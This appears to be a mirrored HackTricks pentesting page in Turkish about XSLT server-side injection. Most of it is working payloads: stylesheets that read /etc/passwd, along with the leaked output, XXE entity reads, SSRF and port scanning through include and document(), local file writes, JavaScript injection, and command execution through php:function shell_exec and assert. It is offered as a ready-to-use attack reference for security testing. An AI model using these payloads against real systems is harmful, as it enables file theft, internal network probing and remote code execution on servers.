mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
422 lines
16 KiB
Markdown
422 lines
16 KiB
Markdown
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Temel Bilgiler
|
||
|
||
XSLT, XML belgelerini farklı formatlara dönüştürmek için kullanılan bir teknolojidir. Üç versiyonu vardır: 1, 2 ve 3, bunlar arasında en yaygın olarak kullanılan versiyon 1'dir. Dönüşüm süreci, ya sunucu üzerinde ya da tarayıcı içinde gerçekleştirilebilir.
|
||
|
||
En sık kullanılan çerçeveler şunlardır:
|
||
|
||
- **Gnome'dan Libxslt,**
|
||
- **Apache'den Xalan,**
|
||
- **Saxonica'dan Saxon.**
|
||
|
||
XSLT ile ilişkili güvenlik açıklarının istismar edilmesi için xsl etiketlerinin sunucu tarafında saklanması ve ardından bu içeriğe erişilmesi gerekmektedir. Böyle bir güvenlik açığının bir örneği aşağıdaki kaynakta belgelenmiştir: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||
|
||
## Örnek - Eğitim
|
||
```bash
|
||
sudo apt-get install default-jdk
|
||
sudo apt-get install libsaxonb-java libsaxon-java
|
||
```
|
||
{% code title="xml.xml" %}
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<catalog>
|
||
<cd>
|
||
<title>CD Title</title>
|
||
<artist>The artist</artist>
|
||
<company>Da Company</company>
|
||
<price>10000</price>
|
||
<year>1760</year>
|
||
</cd>
|
||
</catalog>
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="xsl.xsl" %}
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td><xsl:value-of select="catalog/cd/title"/></td>
|
||
<td><xsl:value-of select="catalog/cd/artist"/></td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
|
||
Çalıştır:
|
||
```xml
|
||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td>CD Title</td>
|
||
<td>The artist</td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Parmak İzi
|
||
|
||
{% code title="detection.xsl" %}
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
|
||
Ve çalıştır
|
||
```xml
|
||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||
```
|
||
### Yerel Dosyayı Oku
|
||
|
||
{% code title="read.xsl" %}
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
```xml
|
||
$ saxonb-xslt -xsl:read.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
|
||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||
sync:x:4:65534:sync:/bin:/bin/sync
|
||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||
```
|
||
### SSRF
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||
<xsl:template match="/">
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### Versiyonlar
|
||
|
||
Kullanılan XSLT sürümüne bağlı olarak daha fazla veya daha az işlev olabilir:
|
||
|
||
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||
|
||
## Parmak İzi
|
||
|
||
Bunu yükleyin ve bilgi alın
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## SSRF
|
||
```xml
|
||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||
</esi:include>
|
||
```
|
||
## Javascript Enjeksiyonu
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<script>confirm("We're good");</script>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Dizin listeleme (PHP)
|
||
|
||
### **Opendir + readdir**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
</xsl:template></xsl:stylesheet>
|
||
```
|
||
### **Assert (var\_dump + scandir + false)**
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
## Dosyaları Oku
|
||
|
||
### **İçsel - PHP**
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **İç - XXE**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
&ext_file;
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **HTTP Üzerinden**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('/etc/passwd')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<!DOCTYPE xsl:stylesheet [
|
||
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
|
||
<xsl:template match="/">
|
||
&passwd;
|
||
</xsl:template>
|
||
```
|
||
### **Dahili (PHP-fonksiyonu)**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### Port taraması
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('http://example.com:22')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Bir dosyaya yaz
|
||
|
||
### XSLT 2.0
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:result-document href="local_file.txt">
|
||
<xsl:text>Write Local File</xsl:text>
|
||
</xsl:result-document>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Xalan-J uzantısı**
|
||
```xml
|
||
<xsl:template match="/">
|
||
<redirect:open file="local_file.txt"/>
|
||
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
|
||
<redirect:close file="loxal_file.txt"/>
|
||
</xsl:template>
|
||
```
|
||
PDF'de dosya yazmanın diğer yolları
|
||
|
||
## Harici XSL dahil et
|
||
```xml
|
||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" ?>
|
||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||
```
|
||
## Kod Çalıştır
|
||
|
||
### **php:function**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0"
|
||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||
xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
Execute code using other frameworks in the PDF
|
||
|
||
### **Daha Fazla Dil**
|
||
|
||
**Bu sayfada diğer dillerde RCE örneklerini bulabilirsiniz:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||
|
||
## **Sınıflardan PHP statik fonksiyonlarına erişim**
|
||
|
||
Aşağıdaki fonksiyon, XSL sınıfının `stringToUrl` statik metodunu çağıracaktır:
|
||
```xml
|
||
<!--- More complex test to call php class function-->
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||
version="1.0">
|
||
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
|
||
<xsl:template match="root">
|
||
<html>
|
||
<!-- We use the php suffix to call the static class function stringToUrl() -->
|
||
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
|
||
<!-- Output: 'une_superstring ao modifier' -->
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
(Örnek [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls) adresinden)
|
||
|
||
## Daha Fazla Payload
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) adresini kontrol edin
|
||
* [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) adresini kontrol edin
|
||
|
||
## **Brute-Force Tespit Listesi**
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
|
||
|
||
## **Referanslar**
|
||
|
||
* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
|
||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|